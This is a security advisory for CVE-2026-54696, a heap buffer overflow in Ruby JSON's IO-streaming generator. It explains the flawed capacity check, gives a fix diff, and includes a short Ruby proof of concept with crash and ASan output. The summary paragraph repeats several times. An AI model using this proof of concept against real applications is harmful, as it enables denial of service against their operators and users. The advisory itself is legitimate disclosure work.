CVE-2026-54696

Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.

Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.

Summary

JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service.

This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.

Details

Root cause is in ext/json/fbuffer/fbuffer.h, fbuffer_do_inc_capa().

On the IO path, the buffer is grown to FBUFFER_IO_BUFFER_SIZE (16383), but the early return checks total capacity instead of remaining capacity:

if (RB_UNLIKELY(fb->io)) {
    if (fb->capa < FBUFFER_IO_BUFFER_SIZE) {
        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);
    } else {
        fbuffer_flush(fb);
    }

    if (RB_LIKELY(requested < fb->capa)) {
        return;
    }
}

If fb->len already contains JSON syntax bytes, and a string flush has 16383 - fb->len <= requested < 16383, this check returns even though there is not enough space left. fbuffer_append_reserved() then writes past the buffer:

MEMCPY(fb->ptr + fb->len, newstr, char, len);

The minimal fix is to compare against the remaining capacity:

-        if (RB_LIKELY(requested < fb->capa)) {
+        if (RB_LIKELY(requested <= fb->capa - fb->len)) {
             return;
         }

PoC

require "json"
require "stringio"

io = StringIO.new
big = "a" * 16385
big[16382] = '"'          # escapable byte near the buffer boundary

JSON.dump([big], io)

Verified results:

Ruby 4.0.5 / bundled json 2.18.0:
malloc(): invalid size (unsorted)
.../json/common.rb:956: [BUG] Aborted

ruby/ruby master c78418b7a0 / json 2.19.8 / ASan:
heap-buffer-overflow WRITE of size 16382
  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145
  search_flush             ext/json/generator/generator.c:139
  convert_UTF8_to_JSON     ext/json/generator/generator.c:231
  raw_generate_json_string ext/json/generator/generator.c:922
  cState_m_generate        ext/json/generator/generator.c:1891

Control: the same data through JSON.dump([big]) without an IO argument returns normally. The bug is specific to the IO-streaming path.

Impact

A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through JSON.dump(obj, io) or JSON::State#generate(obj, io). The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.

Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.

Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.

Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.